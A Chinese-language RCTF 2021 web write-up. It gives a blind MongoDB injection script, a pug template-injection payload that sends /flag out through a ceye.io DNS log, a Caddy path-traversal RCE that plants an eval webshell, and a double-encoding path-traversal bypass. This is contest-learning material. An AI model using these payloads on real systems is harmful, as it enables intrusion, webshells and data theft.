RCTF2021WP-WEB

CandyShop

user.js
Mongodb注入

let rec = await db.Users.find({username: username, password: password})

利用脚本

import requests
from urllib.parse import quote

url = 'http://123.60.21.23:23333/user/login'

result = ''
for i in range(1, 233):
    ascii_min = 0
    ascii_max = 128
    while ascii_max - ascii_min > 1:
        mid = (ascii_min + ascii_max) // 2
        data = 'username=rabbit&password[$lt]=' + quote(result + chr(mid))
        r = requests.post(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
        if 'Bad' in r.text:
            ascii_max = mid
        else:
            ascii_min = mid
        print(ascii_min, ascii_max, mid)
    if ascii_min == 0:
        break
    result += chr(ascii_min)
    print(result)

print(result)
# 49149bea75a9003d186556101ca2ad2fcd3115753d08d4bc21027c015dd653bf

shop.js
pug模板注入
模板部分内容可控,可以执行任意的js代码
pug模板对格式有一定的限制,能够成功执行命令,但无回显,通过dnslog得到flag

const pug = require('pug')

router.post('/order', checkLogin, checkActive, async (req, res) => {
    let {username, candyname, address} = req.body
    let tpl_path = path.join(__dirname, '../views/confirm.pug')
    fs.readFile(tpl_path, (err, result) => {
        if (err) {
            res.render('error', {error: 'Fail to load template!'})
        } else {
            // 模板渲染前的文本替换
            let tpl = result
                .toString()
                .replace('USERNAME', username)
                .replace('CANDYNAME', candyname)
                .replace('ADDRESS', address)
            res.send(pug.render(tpl, options={filename: tpl_path}))//模板注入
        }
    })
})

POST /shop/order

username=' readonly) %0a                        %23{console.log(global.process.mainModule.constructor._load("child_process").execSync("ping `cat /flag`.xxx.ceye.io").toString())} // &candyname=bunny_candy&address=1

VerySafe

Caddy <= 2.4.2 在传递script_path给php-fpm的时候可以目录穿越
在默认php-fpm的docker和caddy<=2.4.2的环境下无条件RCE

GET /../usr/local/lib/php/peclcmd.php?+config-create+/tmp/<?=eval($_POST[1]);?>/*+/srv/qqqq.php HTTP/1.1
Host: test.local:54120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

################

POST /../tmp/qqqq.php HTTP/1.1
Host: test.local:54120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

1=system('/readflag');

EasyPHP

nginx.conf

#/admin只能本地访问
   location /admin {
        allow 127.0.0.1;
        deny all;
    }

location @phpfpm {
        include        fastcgi_params;
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_pass   php:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root/index.php;

#REQUEST_URI 来自 $uri, $uri 是没有经过urldecode的. PHP-FPM 回对收到的REQUEST_URI进行urldecode
        fastcgi_param  REQUEST_URI  $uri;
    }

index.php

function isdanger($v){
    if(is_array($v)){
        foreach($v as $k=>$value){
            if(isdanger($k)||isdanger($value)){
                return true;
            }
        }
    }else{
        if(strpos($v,"../")!==false){
            return true;
        }
    }
    return false;
}

# ../ 不能出现在 $_GET,$_POST,$_COOKIE,$_SESSION
$app->before("start",function(){
    foreach([$_GET,$_POST,$_COOKIE,$_FILES] as $value){
        if(isdanger($value)){
            die("go away hack");
        }
    }
});

# 非admin只能访问/login
$app->route('/*', function(){
    global $app;
    $request = $app->request();
    $app->render("head",[],"head_content");
    # url中要包含 login
    if(stristr($request->url,"login")!==FALSE){
        return true;
    }else{
        if($_SESSION["user"]){
            return true;
        }
        $app->redirect("/login");
    }
    
});

Router.php

    public function route(Request $request) {
        # 被路由前,会对URL进行一次urldecode,利用二次url编码绕过
        # /%2561%2564%256d%2569%256e ==> /admin
        $url_decoded = urldecode( $request->url );
        while ($route = $this->current()) {
            if ($route !== false && $route->matchMethod($request->method) && $route->matchUrl($url_decoded, $this->case_sensitive)) {
                return $route;
            }
            $this->next();
        }

        return false;
    }

绕过验证

http://124.71.132.232:60080/%2561%2564%256d%2569%256e%3flogin

index.php
代码是针对$_GET来过滤的,要读取的文件名却是从"./".$request->query->data获取

$app->route('/admin', function(){
    global $app;
    $request = $app->request();
#
    $app->render("admin",["data"=>"./".$request->query->data],"body_content");
    $app->render("template",[]);
});

Request.php
$request->query在init中被覆盖

    public function init(){
        ...
        // Default url
        if (empty($this->url)) {
            $this->url = '/';
        }
        // Merge URL query parameters with $_GET
        else {
            $_GET += self::parseQuery($this->url);

            $this->query->setData($_GET);
        }
        ...
    }
    public static function parseQuery($url) {
        $params = array();

        $args = parse_url($url);
        if (isset($args['query'])) {
            parse_str($args['query'], $params);
        }

        return $params;
    }

最后

http://124.71.132.232:60080/%2561%2564%256d%2569%256e%3flogin&data=..%252f..%252f..%252f..%252fflag
上一篇:用ASCII码,求出一个字符串的最长无重复子串(子串为连续不间断)


下一篇:MVC+EF 理解和实现仓储模式和工作单元模式 MVC+EF 理解和实现仓储